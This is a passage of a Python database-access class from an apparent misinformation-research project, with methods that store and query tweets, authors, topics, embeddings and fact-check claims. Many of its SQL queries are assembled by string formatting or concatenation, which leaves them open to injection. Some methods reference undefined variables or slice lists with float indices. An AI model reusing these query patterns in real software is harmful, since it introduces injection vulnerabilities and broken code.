ORDER BY 2 DESC\n ) res\n \"\"\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n generator = self.result_iter(cursor)\n for tuple in generator:\n return tuple\n\n def get_top_terms_by_topic_id(self, topic_id):\n query = \"\"\"\n SELECT topics.term_id, terms.description, topics.probability\n FROM topics\n INNER JOIN terms ON (terms.term_id = topics.term_id)\n WHERE topics.topic_id = {}\n ORDER BY 3 DESC\n LIMIT 100\n \"\"\".format(topic_id)\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n generator = self.result_iter(cursor)\n top_terms = [term[1] for term in generator]\n return top_terms\n\n def get_top_10_terms_by_topic_id(self, topic_id):\n query = \"\"\"\n SELECT topics.term_id, terms.description, topics.probability\n FROM topics\n INNER JOIN terms ON (terms.term_id = topics.term_id)\n WHERE topics.topic_id = {}\n ORDER BY 3 DESC\n LIMIT 10\n \"\"\".format(topic_id)\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n generator = self.result_iter(cursor)\n top_terms = [term[1] for term in generator]\n return top_terms\n\n def create_post_from_tweet_data(self, tweet_data, domain):\n author_name = tweet_data.user.screen_name\n tweet_author_guid = compute_author_guid_by_author_name(author_name)\n tweet_post_twitter_id = str(tweet_data.id)\n tweet_url = generate_tweet_url(tweet_post_twitter_id, author_name)\n tweet_creation_time = tweet_data.created_at\n tweet_str_publication_date = extract_tweet_publiction_date(tweet_creation_time)\n tweet_guid = compute_post_guid(post_url=tweet_url, author_name=author_name,\n str_publication_date=tweet_str_publication_date)\n\n media_path = None\n if tweet_data.media is not None:\n if tweet_data.media[0] is not None:\n media_url = tweet_data.media[0].media_url\n media_path = str(media_url)\n post = Post(guid=tweet_guid, post_id=tweet_guid, url=str(tweet_url),\n date=str_to_date(tweet_str_publication_date),\n title=str(tweet_data.text), content=str(tweet_data.text),\n post_osn_id=tweet_post_twitter_id,\n author=str(author_name), author_guid=str(tweet_author_guid),\n domain=str(domain),\n media_path=media_path,\n retweet_count=str(tweet_data.retweet_count),\n favorite_count=str(tweet_data.favorite_count),\n timeline_importer_insertion_date=str(get_current_time_as_string()))\n return post\n\n def get_max_topic(self):\n query = \"\"\"\n SELECT MAX(topics.topic_id)\n FROM topics\n \"\"\"\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n rows = cursor.fetchall()\n max_topic = rows[0][0]\n return max_topic\n\n def _get_top_terms_by_topic_id(self, topic_id, num_of_top_terms):\n query = \"\"\"\n SELECT topics.topic_id, terms.description, topics.probability\n FROM topics\n INNER JOIN terms on (topics.term_id = terms.term_id)\n WHERE topics.topic_id = {0}\n ORDER BY topics.probability DESC\n LIMIT {1}\n \"\"\".format(topic_id, num_of_top_terms)\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = cursor.fetchall()\n\n top_terms = [tuple[1] for tuple in tuples]\n return top_terms\n\n def _randomize_authors(self, min_posts_count, domain, num_of_random_authors):\n query = \"\"\"\n SELECT authors.author_guid, authors.author_type\n FROM authors\n INNER JOIN author_guid_num_of_posts_view ON (author_guid_num_of_posts_view.author_guid = authors.author_guid)\n WHERE author_guid_num_of_posts_view.num_of_posts >= :min_posts_count\n AND authors.domain = :domain\n ORDER BY RANDOM()\n LIMIT :num_of_random_authors\n \"\"\"\n query = text(query)\n result = self.session.execute(query, params=dict(min_posts_count=min_posts_count, domain=domain,\n num_of_random_authors=num_of_random_authors))\n cursor = result.cursor\n randomized_authors_for_graph = self.result_iter(cursor)\n return randomized_authors_for_graph\n\n def _create_randomized_author_for_graph(self, author_guid, author_type):\n randomized_author_for_graph = RandomAuthorForGraph()\n randomized_author_for_graph.author_guid = author_guid\n randomized_author_for_graph.author_type = author_type\n return randomized_author_for_graph\n\n def randomize_authors_for_graph(self, min_posts_count, domain, num_of_random_authors_for_graph):\n randomized_authors = []\n randomized_authors_for_graph = self._randomize_authors(min_posts_count, domain, num_of_random_authors_for_graph)\n for author_guid, author_type in randomized_authors_for_graph:\n randomized_author_for_graph = self._create_randomized_author_for_graph(author_guid, author_type)\n randomized_authors.append(randomized_author_for_graph)\n\n def deleteTopics(self, window_start=None):\n if window_start:\n self.session.query(Topic).filter(Topic.window_start == window_start).delete()\n self.session.query(Post_to_topic).filter(Post_to_topic.window_start == window_start).delete()\n else:\n self.session.query(Topic).delete()\n self.session.query(Post_to_topic).delete()\n self.session.commit()\n\n def addTopics(self, topics):\n for topic in topics:\n self.addTopic(topic)\n self.session.commit()\n\n def addTopic(self, topic):\n self.session.merge(topic)\n\n def addPostTopicMapping(self, topic_mapping):\n self.session.merge(topic_mapping)\n\n def addPostTopicMappings(self, post_topic_mappings):\n for i, topic_mapping in enumerate(post_topic_mappings):\n self.addPostTopicMapping(topic_mapping)\n if i % 100 == 0:\n msg = \"\\rAdd post topic mappings {0}/{1}\".format(str(i), str(len(post_topic_mappings)))\n print(msg, end='')\n msg = \"\\rAdd post topic mappings {0}/{1}\".format(str(len(post_topic_mappings)), str(len(post_topic_mappings)))\n print(msg, end='')\n self.session.commit()\n\n def add_terms(self, terms):\n for term in terms:\n self.add_term(term)\n self.session.commit()\n\n def add_term(self, term):\n self.session.merge(term)\n\n def add_topic_items(self, topic_items):\n for topic_item in topic_items:\n self.add_topic_item(topic_item)\n self.session.commit()\n\n def add_topic_item(self, topic_item):\n self.session.merge(topic_item)\n\n def create_author_topic_mapping_table(self, number_of_topics):\n query = \"\"\"\n CREATE TABLE IF NOT EXISTS author_topic_mapping (\n author_guid text NOT NULL,\n {0}\n CONSTRAINT PK_Person PRIMARY KEY (author_guid)\n FOREIGN KEY (author_guid) REFERENCES authors(author_guid));\n \"\"\"\n topics = \"\"\n for i in range(number_of_topics):\n topics += \"'{0}' int NOT NULL,\\n\".format(i)\n query = query.format(topics)\n query = text(query)\n self.session.execute(query)\n\n def insert_into_author_toppic_mapping(self, author_guid, author_mapping):\n\n query = \"\"\"\n INSERT INTO author_topic_mapping \n VALUES ('{0}',{1});\n \"\"\"\n author_mapping = ','.join([str(m) for m in author_mapping])\n\n query = query.format(author_guid, author_mapping)\n query = text(query)\n self.session.execute(query)\n\n def insert_into_author_toppic_mappings(self, mappings):\n if len(mappings) > 0:\n author_mappings = []\n author_guids = []\n for author_guid, author_mapping in mappings:\n mapping_tamplate = \"('{0}',{1})\"\n author_mapping = ','.join([str(m) for m in author_mapping])\n author_mappings.append(mapping_tamplate.format(author_guid, author_mapping))\n author_guids.append(\"'{0}'\".format(author_guid))\n\n self.delete_author_topic_mapping_by_author_guids(author_guids)\n\n for i in range(int(len(mappings) / 10000 + 1)):\n author_topic_mapping_count = str(min((i + 1) * 10000, len(mappings)))\n print('\\r add author_topic_mappings {}/{}'.format(author_topic_mapping_count, len(mappings)), end='')\n query = \"\"\" \n INSERT INTO author_topic_mapping \n VALUES {0};\n \"\"\"\n query = query.format(',\\n'.join(author_mappings[i * 10000: (i + 1) * 10000]))\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n print()\n\n def delete_author_topic_mapping_by_author_guids(self, author_guids):\n query = \"\"\"\n DELETE FROM author_topic_mapping\n WHERE author_guid IN ({0});\n \"\"\"\n query = query.format(','.join(author_guids))\n query = text(query)\n self.session.execute(query)\n\n def delete_terms(self):\n self.session.query(Term).delete()\n self.session.commit()\n\n def delete_post_topic_mapping(self):\n self.session.query(PostTopicMapping).delete()\n self.session.commit()\n\n def delete_author_topic_mapping(self):\n query = \"\"\"\n DROP TABLE IF EXISTS author_topic_mapping;\n \"\"\"\n query = text(query)\n self.session.execute(query)\n\n def get_terms(self):\n return self.session.query(Term).all()\n\n def get_author_topic_mapping(self):\n query = \"\"\"\n SELECT * FROM author_topic_mapping\n \"\"\"\n query = text(query)\n result = self.session.execute(query)\n return result.cursor.fetchall()\n\n def get_post_topic_mapping(self):\n return self.session.query(PostTopicMapping).all()\n\n def get_number_of_topics(self):\n return self.session.execute(\"select count(distinct( topic_id)) from topics\").scalar()\n\n @staticmethod\n def create_post_topic_mapping_obj(max_topic_probability, post_id):\n ptm = PostTopicMapping()\n ptm.post_id = post_id\n ptm.max_topic_dist = float(max_topic_probability[1])\n ptm.max_topic_id = int(max_topic_probability[0])\n return ptm\n\n @staticmethod\n def create_topic_item(topic_id, term_id, probability):\n topic_obj = Topic()\n topic_obj.topic_id = topic_id\n topic_obj.term_id = term_id\n topic_obj.probability = probability\n return topic_obj\n\n @staticmethod\n def create_term(term_id, term_description):\n term = Term()\n term.term_id = term_id\n term.description = term_description\n return term\n\n def get_targeted_articles(self):\n targetd_articles = self.session.query(Target_Article).all()\n return targetd_articles\n\n def get_targeted_article_items(self):\n targetd_articles = self.session.query(Target_Article_Item).all()\n return targetd_articles\n\n def get_text_images(self):\n text_images = self.session.query(Text_From_Image).all()\n return text_images\n\n def get_authors_with_media(self):\n query = \"\"\"SELECT authors.name, authors.media_path FROM authors\n WHERE authors.media_path IS NOT NULL\"\"\"\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n return tuples\n\n def get_authors_and_image_tags(self):\n query = \"\"\"SELECT * FROM image_tags\"\"\"\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n return tuples\n\n def get_post_id_to_author_guid_mapping(self):\n query = \"\"\"\n SELECT posts.author_guid, posts.post_id \n FROM posts\n \"\"\"\n result = self.session.execute(query)\n cursor = result.cursor\n records = self.result_iter(cursor)\n records = list(records)\n\n return {record[1]: record[0] for record in records}\n\n def get_author_guid_word_embedding_vector_dict(self, word_embedding_table_name, table_name, targeted_field_name,\n word_embedding_type):\n query = self._get_author_guid_word_embedding_vector_full_query(word_embedding_table_name, table_name,\n targeted_field_name, word_embedding_type)\n result = self.session.execute(query, params=dict(word_embedding_table_name=word_embedding_table_name,\n table_name=table_name, targeted_field_name=targeted_field_name,\n word_embedding_type=word_embedding_type))\n return self._create_author_guid_word_embedding_vector_dict_by_query(result)\n\n def get_random_author_guid_word_embedding_vector_dict(self, table_name, targeted_field_name, word_embedding_type,\n num_of_random_authors_for_graph):\n query = self._get_random_author_guid_word_embedding_vector_full_query(table_name, targeted_field_name,\n word_embedding_type,\n num_of_random_authors_for_graph)\n result = self.session.execute(query, params=dict(word_embedding_table_name=word_embedding_table_name,\n table_name=table_name, targeted_field_name=targeted_field_name,\n word_embedding_type=word_embedding_type,\n num_of_random_authors_for_graph=num_of_random_authors_for_graph))\n return self._create_author_guid_word_embedding_vector_dict_by_query(result)\n\n def _get_word_embeddings_types(self, author_word_embeddings=\"author_word_embeddings\"):\n query = \"SELECT word_embedding_type from %s GROUP BY 1\" % author_word_embeddings\n result = self.session.execute(query).fetchall()\n parsed = [col[0] for col in result]\n return parsed\n\n def _get_author_guid_word_embedding_vector_full_query(self, word_embedding_table_name, table_name,\n targeted_field_name, word_embedding_type):\n query = \"\"\"\n SELECT *\n FROM {0}\n WHERE table_name = '{1}'\n AND targeted_field_name = '{2}'\n AND word_embedding_type = '{3}'\n AND author_id IS NOT NULL\n \"\"\".format(word_embedding_table_name, table_name, targeted_field_name, word_embedding_type)\n return query\n\n def _get_random_author_guid_word_embedding_vector_full_query(self, word_embedding_table_name, table_name,\n targeted_field_name, word_embedding_type,\n num_of_random_authors_for_graph):\n query = \"\"\"\n SELECT *\n FROM {0}\n WHERE table_name = '{1}'\n AND targeted_field_name = '{2}'\n AND word_embedding_type = '{3}'\n AND author_id IS NOT NULL\n LIMIT {4}\n \"\"\".format(word_embedding_table_name, table_name, targeted_field_name, word_embedding_type,\n num_of_random_authors_for_graph)\n return query\n\n def _create_author_guid_word_embedding_vector_dict_by_query(self, result):\n cursor = result.cursor\n records = self.result_iter(cursor)\n # records = list(records)\n return self.create_author_guid_word_embedding_dict_by_recoreds(records)\n\n def create_author_guid_word_embedding_dict_by_recoreds(self, records):\n author_guid_word_embedding_vector = {}\n for record in records:\n author_guid = record[0]\n selected_table_name = record[1]\n selected_targeted_field_name = record[3]\n selected_word_embedding_type = record[4]\n vector = record[5:]\n # vector_str = np.array(vector_str)\n # vector = vector_str.astype(np.float)\n author_guid_word_embedding_vector[author_guid] = vector\n return author_guid_word_embedding_vector\n\n def get_word_embedding_dictionary(self):\n query = \"\"\"SELECT * FROM wikipedia_model_300d\"\"\"\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n records = list(tuples)\n ans = {record[0]: record[1:301] for record in records}\n return ans\n\n def get_author_word_embedding_table(self):\n query = \"\"\"SELECT * FROM author_word_embeddings\"\"\"\n query = self.session.execute(query)\n results = pd.read_sql_table('author_word_embeddings', self.engine)\n return results\n\n def get_author_word_embedding(self, author_guid, table_name, target_field_name, author_word_embeddings):\n ans = {}\n columns = self._get_word_embeddings_types(author_word_embeddings)\n ans = {str(col): self.get_author_guid_word_embedding_vector_dict(author_word_embeddings, table_name,\n target_field_name, col)[author_guid] for\n col in columns}\n # ans[u'min'] = self.get_author_guid_word_embedding_vector_dict(table_name, target_field_name, u'min')[author_guid]\n # ans[u'max'] = self.get_author_guid_word_embedding_vector_dict(table_name, target_field_name, u'max')[author_guid]\n # ans[u'np.mean'] = self.get_author_guid_word_embedding_vector_dict(table_name, target_field_name, u'np.mean')[author_guid]\n return ans\n\n def get_records_by_id_targeted_field_and_table_name(self, id_field, targeted_field_name, table_name, where_clauses):\n query = \"\"\"\n SELECT {0}, {1}\n FROM {2}\n \"\"\".format(id_field, targeted_field_name, table_name)\n\n is_first_condition = False\n for where_clause_dict in where_clauses:\n field_name = where_clause_dict['field_name']\n value = where_clause_dict['value']\n if is_first_condition == False:\n condition_clause = \"\"\"\n WHERE {0} = {1}\n \"\"\".format(field_name, value)\n is_first_condition = True\n else:\n condition_clause = \"\"\"\n AND {0} = {1}\n \"\"\".format(field_name, value)\n query += condition_clause\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n return tuples\n\n def get_word_vector_dictionary(self, table_name):\n query = \"\"\"\n SELECT *\n FROM {0}\n \"\"\".format(table_name)\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n\n word_vector_dict = defaultdict()\n for tuple in tuples:\n word = tuple[0]\n vector = tuple[1:]\n word_vector_dict[word] = vector\n return word_vector_dict\n\n def fill_author_type_by_post_type(self):\n logging.info(\"fill_author_type_by_post_type\")\n query = 'UPDATE authors SET author_type = (SELECT post_type FROM posts where posts.author_guid = authors.author_guid)'\n query = text(query)\n try:\n self.session.execute(query)\n except Exception as exc:\n logging.error(\"Fillin author type by post type failed\")\n finally:\n self.session.commit()\n\n def get_item_by_targeted_fields_dict_and_id(self, targeted_fields_dict, id_val):\n query = \"SELECT * FROM \" + targeted_fields_dict['table_name'] + \" where \" + targeted_fields_dict[\n 'id_field'] + \" = '\" + id_val + \"'\"\n result = self.session.execute(query)\n cursor = result.cursor\n\n result = cursor.fetchall()[0]\n return result\n\n def get_dict_idfield_to_item(self, targeted_fields_dict):\n id_field = targeted_fields_dict['id_field']\n query = 'select * from ' + targeted_fields_dict['table_name']\n answer = self.session.execute(text(query))\n return dict((getattr(item, id_field), item) for item in self.result_iter(answer))\n\n def get_author_id_by_field_id(self, field_id, id_val):\n if field_id == \"post_id\":\n query = 'SELECT author_guid FROM posts WHERE post_id=' + id_val\n answer = self.session.execute(text(query))\n cursor = answer.cursor\n result = cursor.fetchall()[0]\n return result[0]\n if field_id == \"author_guid\":\n return id_val\n\n def get_liar_dataset_records(self):\n liar_dataset_records = self.session.query(Politifact_Liar_Dataset).all()\n return liar_dataset_records\n\n def randomize_authors(self, min_number_of_posts_per_author, domain, authors_table_field_name,\n authors_table_value, num_of_random_authors):\n randomized_authors = []\n randomized_authors_for_graph = self._randomize_authors_by_conditions(min_number_of_posts_per_author,\n domain, authors_table_field_name,\n authors_table_value,\n num_of_random_authors)\n for author_guid, author_type in randomized_authors_for_graph:\n randomized_author_for_graph = self._create_randomized_author_for_graph(author_guid, author_type)\n randomized_authors.append(randomized_author_for_graph)\n\n self.addPosts(randomized_authors)\n\n def _randomize_authors_by_conditions(self, min_posts_count, domain, authors_table_field_name,\n authors_table_value, num_of_random_authors):\n\n query = \"\"\"\n SELECT authors.author_guid, authors.author_type\n FROM authors\n INNER JOIN author_guid_num_of_posts_view ON (author_guid_num_of_posts_view.author_guid = authors.author_guid)\n WHERE author_guid_num_of_posts_view.num_of_posts >= {0}\n AND authors.domain = '{1}'\n AND authors.{2} = '{3}'\n ORDER BY RANDOM()\n LIMIT {4}\n \"\"\".format(min_posts_count, domain, authors_table_field_name, authors_table_value,\n num_of_random_authors)\n query = text(query)\n result = self.session.execute(query, params=dict(min_posts_count=min_posts_count, domain=domain,\n num_of_random_authors=num_of_random_authors))\n cursor = result.cursor\n randomized_authors_for_graph = self.result_iter(cursor)\n return randomized_authors_for_graph\n\n def get_author_screen_name_author_guid_dictionary(self):\n query = \"\"\"\n SELECT authors.author_screen_name, authors.author_guid\n FROM authors\n \"\"\"\n query = text(query)\n\n result = self.session.execute(query, params=dict(domain=domain))\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n author_screen_name_author_guid_dict = {}\n for tuple in tuples:\n author_screen_name = tuple[0]\n author_guid = tuple[1]\n author_screen_name_author_guid_dict[author_screen_name] = author_guid\n return author_screen_name_author_guid_dict\n\n def get_resturant_api_id_to_resturant_dict(self):\n authors = self.get_all_authors()\n authors_dict = dict((str(aut.author_guid).encode('utf-8'), aut) for aut in authors)\n return authors_dict\n\n def fix_guids_encoding(self):\n guids = self.get_author_guids()\n for guid in guids:\n new_guid = str(guid).encode('ascii', 'ignore').decode('ascii')\n update_query = \"UPDATE \" + self.authors + \" SET author_guid ='\" + new_guid + \"' WHERE author_guid ='\" + guid + \"'\"\n self.update_query(update_query)\n\n def get_politifact_speaker_by_author(self, author):\n query = text(\"SELECT party_affiliation FROM politifact_liar_dataset where post_guid ='\" + author + \"'\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())[0]\n return records\n\n def export_word_embeddings_to_tsv(self):\n embeddings_dict = self.get_author_guid_word_embedding_vector_dict('posts', 'content', 'max')\n file = open(\"D:\\\\Work\\\\BadActorsFolder\\\\trunk\\\\software\\\\bad_actors\\\\data\\\\output\\\\word_embeddings_mean2.tsv\",\n 'wb')\n file_labled = open(\n \"D:\\\\Work\\\\BadActorsFolder\\\\trunk\\\\software\\\\bad_actors\\\\data\\\\output\\\\word_embeddings_mean_lables.tsv\",\n 'wb')\n writer = csv.writer(file, delimiter='\\t')\n counter = 0\n for author in embeddings_dict:\n record = embeddings_dict[author]\n counter += 1\n str_record = str(record)[1:-1]\n str_record = str_record.replace(', ', '\\t')\n file.write(str_record + '\\n')\n\n author_type = (self.get_author_by_guid(author)).author_type\n author = self.get_politifact_speaker_by_author(author)[0]\n\n file_labled.write(author + '\\t' + author_type + '\\n')\n file.close()\n file_labled.close()\n\n ##\n ## Added for solving the issue of US Elections\n ##\n\n def convert_tweets_to_posts_and_authors(self, tweets, domain):\n posts = []\n authors = []\n for tweet in tweets:\n post, author = self._convert_tweet_to_post_and_author(tweet, domain)\n posts.append(post)\n authors.append(author)\n\n posts = list(set(posts))\n authors = list(set(authors))\n return posts, authors\n\n def _convert_tweet_to_post_and_author(self, tweet, domain):\n post = self._convert_tweet_to_post(tweet, domain)\n author = self._convert_tweet_to_author(tweet, domain)\n\n return post, author\n\n def convert_tweet_to_user_mentions(self, tweet, post_guid):\n tweet_user_mentions = tweet.user_mentions\n user_mentions = []\n for tweet_user_mention in tweet_user_mentions:\n user_mention = PostUserMention()\n\n user_mention.post_guid = post_guid\n user_mention.user_mention_twitter_id = tweet_user_mention.id_str\n user_mention.user_mention_screen_name = tweet_user_mention.screen_name\n\n user_mentions.append(user_mention)\n return user_mentions\n\n def _convert_tweet_to_post(self, tweet, domain):\n post = Post()\n\n tweet_id = tweet.id_str\n post.post_osn_id = tweet_id\n post.retweet_count = tweet.retweet_count\n post.favorite_count = tweet.favorite_count\n post.content = tweet.text\n\n user = tweet.user\n screen_name = user.screen_name\n post.author = screen_name\n\n url = \"https://twitter.com/{0}/status/{1}\".format(screen_name, tweet_id)\n post.url = url\n\n created_at = tweet.created_at\n post.created_at = created_at\n tweet_str_publication_date = str(extract_tweet_publiction_date(created_at))\n tweet_creation_date = str_to_date(tweet_str_publication_date)\n post.date = tweet_creation_date\n post.domain = domain\n\n post_guid = compute_post_guid(url, screen_name, tweet_str_publication_date)\n post.post_id = post_guid\n post.guid = post_guid\n\n author_guid = compute_author_guid_by_author_name(screen_name)\n post.author_guid = author_guid\n post.post_format = tweet.lang\n return post\n\n def _convert_tweet_to_author(self, tweet, domain):\n\n author = Author()\n\n user = tweet.user\n screen_name = user.screen_name\n author_guid = compute_author_guid_by_author_name(screen_name)\n\n author.author_guid = author_guid\n author.name = screen_name\n author.author_screen_name = screen_name\n author.created_at = user.created_at\n author.description = user.description\n author.favourites_count = user.favourites_count\n author.followers_count = user.followers_count\n author.friends_count = user.friends_count\n author.statuses_count = user.statuses_count\n\n author.geo_enabled = user.geo_enabled\n\n user_id = user.id_str\n author.author_osn_id = user_id\n author.language = user.lang\n author.listed_count = user.listed_count\n author.profile_background_color = user.profile_background_color\n author.profile_image_url = user.profile_background_image_url\n author.profile_background_tile = user.profile_background_tile\n author.profile_banner_url = user.profile_banner_url\n author.profile_link_color = user.profile_link_color\n\n author.profile_sidebar_fill_color = user.profile_sidebar_fill_color\n author.profile_text_color = user.profile_text_color\n author.location = user.location if user.location != None else None\n author.protected = user.protected if user.protected != None else None\n author.time_zone = user.time_zone if user.time_zone != None else None\n author.url = user.url if user.url != None else None\n author.utc_offset = user.utc_offset if user.utc_offset != None else None\n author.domain = domain\n author.verified = user.verified\n\n return author\n\n def add_claim_connections(self, claim_connections):\n i = 1\n for claim in claim_connections:\n if (i % 100 == 0):\n msg = \"\\r Insert claim_connection to DB: [{}\".format(i) + \"/\" + str(len(claim_connections)) + ']'\n print(msg, end=\"\")\n i += 1\n self.session.merge(claim)\n msg = \"\\r Insert claim_connection to DB: [{}\".format(i) + \"/\" + str(len(claim_connections)) + ']'\n print(msg)\n self.commit()\n\n def get_claim_tweet_connections(self):\n q = \"\"\"\n SELECT *\n FROM claim_tweet_connection \n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n return list(result)\n\n def get_claim_ordered_by_num_of_posts(self):\n q = \"\"\"\n SELECT claim_tweet_connection.claim_id, COUNT(claim_tweet_connection.post_id)\n FROM claim_tweet_connection \n GROUP BY 1\n ORDER BY 2 DESC \n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n return list(result)\n\n def get_table_by_name(self, table_name):\n for var in globals():\n class_obj = globals()[var]\n try:\n if issubclass(class_obj, Base) and class_obj.__tablename__ == table_name:\n return class_obj\n except:\n pass\n return None\n\n def get_verified_authors(self):\n results = self.session.query(Author).filter(Author.verified == '1').all()\n return results\n\n def get_post_osn_ids(self):\n q = \"\"\"\n SELECT post_osn_id\n FROM posts\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n return list(result)\n\n def get_posts_by_selected_domain(self, domain):\n q = \"\"\"\n SELECT posts.post_id, posts.post_type\n FROM posts\n WHERE posts.domain = :domain\n \"\"\"\n query = text(q)\n result = self.session.execute(query, params=dict(domain=domain))\n return list(result)\n\n def get_claim_id_posts_dict(self):\n claim_id_posts_dict = defaultdict(list)\n post_dict = self.get_post_dictionary()\n for claim_id, post_id in self.get_claim_tweet_connections():\n claim_id_posts_dict[claim_id].append(post_dict[post_id])\n return claim_id_posts_dict\n\n def get_claim_posts(self, limit = 1):\n # table_elements = self.session.query(connection_source_attr, destination_table) \\\n # .join(source_table, connection_source_attr == source_id_attr) \\\n # .join(destination_table, connection_target_attr == destination_id_attr) \\\n # .filter(and_(condition for condition in conditions)) \\\n # .order_by(connection_source_attr) \\\n # .yield_per(10000).enable_eagerloads(False).offset(offset)\n\n\n claim_posts = self.session.query(Claim_Tweet_Connection.claim_id, Post)\\\n .join(Claim_Tweet_Connection, Post.post_id == Claim_Tweet_Connection.post_id)\\\n .order_by(Claim_Tweet_Connection.claim_id).yield_per(10000).enable_eagerloads(False)\n claim_id_posts = defaultdict(list)\n for i, (claim_id, post) in enumerate(claim_posts):\n if claim_id not in claim_id_posts and len(claim_id_posts) == limit:\n yield claim_id_posts\n claim_id_posts = defaultdict(list)\n\n claim_id_posts[claim_id].append(post)\n # print()\n yield claim_id_posts\n\n def get_author_friends_by_sources(self, author_guids):\n author_connections = self.session.query(AuthorConnection.source_author_guid, AuthorConnection.destination_author_guid) \\\n .filter(and_(or_(AuthorConnection.source_author_guid.in_(author_guids), AuthorConnection.destination_author_guid.in_(author_guids)), AuthorConnection.connection_type == 'friend')).yield_per(10000).enable_eagerloads(False)\n\n author_friends = defaultdict(set)\n for i, (source_author, dest_author) in enumerate(author_connections):\n author_friends[source_author].add(dest_author)\n author_friends[dest_author].add(source_author)\n return author_friends\n\n def get_claim_post_author_connections_with_verdict(self):\n q = \"\"\"\n SELECT claim_tweet_connection.claim_id, claim_tweet_connection.post_id, posts.author_guid, claims.verdict\n FROM claim_tweet_connection\n INNER JOIN posts ON (posts.post_id = claim_tweet_connection.post_id)\n INNER JOIN claims ON (claims.claim_id = claim_tweet_connection.claim_id)\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n return list(result)\n\n def get_claim_post_author_connections(self):\n q = \"\"\"\n SELECT claim_tweet_connection.claim_id, claim_tweet_connection.post_id, posts.author_guid\n FROM claim_tweet_connection\n INNER JOIN posts ON (posts.post_id = claim_tweet_connection.post_id)\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n return list(result)\n\n def delete_author_sub_type(self):\n query = '''\n UPDATE authors\n SET author.author_sub_type = NULL\n '''\n self.update_query(query)\n\n def add_claim_keywords_connection(self, claim_id, type, keywords):\n claim_keywords_connections = Claim_Keywords_Connections()\n claim_keywords_connections.claim_id = claim_id\n claim_keywords_connections.keywords = keywords\n claim_keywords_connections.type = type\n self.addPost(claim_keywords_connections)\n\n def add_claim_keywords_connections(self, connections):\n self.addPosts(connections)\n\n def get_claim_keywords_connections(self):\n return self.session.query(Claim_Keywords_Connections).all()\n\n def get_claim_keywords_connections_by_type(self, type):\n return self.session.query(Claim_Keywords_Connections).filter(Claim_Keywords_Connections.type == type).all()\n\n def get_claim_id_keywords_dict_by_connection_type(self, type):\n connections = self.get_claim_keywords_connections_by_type(type)\n return {connection.claim_id: connection.keywords for connection in connections}\n\n def add_claim_tweet_connections_fast(self, claim_post_connections):\n table_name = 'claim_tweet_connections'\n self.add_entity_fast(table_name, claim_post_connections)\n\n def add_posts_fast(self, posts):\n table_name = 'posts'\n keys = ['post_id', 'domain']\n self.add_entity_fast(table_name, posts)\n\n def add_terms_fast(self, terms):\n table_name = 'terms'\n keys = ['term_id']\n self.add_entity_fast(table_name, terms)\n\n def add_claim_keywords_connections(self, claim_keywords):\n self.add_entity_fast('claim_keywords', claim_keywords)\n\n def add_topic_items_fast(self, topic_items):\n table_name = 'topics'\n keys = ['topic_id', 'term_id']\n self.add_entity_fast(table_name, topic_items)\n\n def add_post_topic_mappings_fast(self, post_topic_mappings):\n table_name = 'post_topic_mapping'\n keys = ['post_id']\n self.add_entity_fast(table_name, post_topic_mappings)\n\n def add_news_articles_fast(self, news_articles):\n table_name = 'news_articles'\n keys = ['article_id']\n self.add_entity_fast(table_name, news_articles)\n\n def add_author_connections_fast(self, author_connections):\n keys = ['source_author_guid', 'destination_author_guid', 'connection_type']\n table_name = 'author_connections'\n self.add_entity_fast(table_name, author_connections)\n\n def add_author_features_fast(self, author_features):\n keys = ['author_guid', 'window_start', 'window_end', 'attribute_name']\n table_name = 'author_features'\n self.insert_or_update(author_features)\n\n def add_reddit_authors(self, authors):\n keys = ['name', 'author_guid']\n table_name = 'reddit_authors'\n self.add_entity_fast(table_name, authors)\n\n def add_claims_fast(self, claims):\n keys = ['claim_id']\n table_name = 'claims'\n self.add_entity_fast(table_name, claims)\n\n def add_authors_fast(self, authors):\n keys = ['author_guid', 'name', 'domain']\n table_name = 'authors'\n self.add_entity_fast(table_name, authors)\n\n def get_entity_key(self, table_item):\n return self.inspect_item(table_item).identity\n\n def inspect_item(self, table_item):\n return inspect(table_item)\n\n def map_item(self, item, table_mapper):\n return mapper(item, table_mapper)\n\n def add_entity_fast(self, table_name, entities):\n try:\n self.session.bulk_save_objects(entities)\n self.session.commit()\n print('Add {} new {} to db'.format(len(entities), table_name))\n return\n except Exception as e:\n count = len(entities)\n self.session.rollback()\n if count <= 10000:\n self.merge_items(entities)\n self.session.commit()\n else:\n self.add_entity_fast(table_name, entities[:(count/2)])\n self.add_entity_fast(table_name, entities[(count/2):])\n\n # def add_authors_fast(self, authors):\n # self.add_items_fast(self.get_author_dictionary(), authors, 'author_guid', 'authors')\n\n # def add_author_features_fast(self, author_features):\n # author_feature_dict = {author_feature.author_guid: author_feature for author_feature in self.get_author_features()}\n # self.add_items_fast(author_feature_dict, author_features, 'author_guid', 'author_features')\n\n def add_items_fast(self, item_dict, items, item_key, item_type='items'):\n self.session.close()\n filtered_items = []\n for item in items:\n if getattr(item, item_key) not in item_dict:\n filtered_items.append(item)\n item_dict[getattr(item, item_key)] = item\n duplication_count = str(len(items) - len(filtered_items))\n print('Add {} new {} to db, remove {} duplications'.format(len(filtered_items), item_type, duplication_count))\n self.session.bulk_save_objects(filtered_items)\n self.session.commit()\n\n def get_claims_tuples(self):\n q = \"\"\"\n SELECT *\n FROM claims\n \"\"\"\n query = text(q)\n result = self.session.execute(query)\n return list(result)\n\n def get_posts_from_domain_contain_words(self, domain, words):\n conditions = [Post.content.like('%{}%'.format(word)) for word in words]\n return 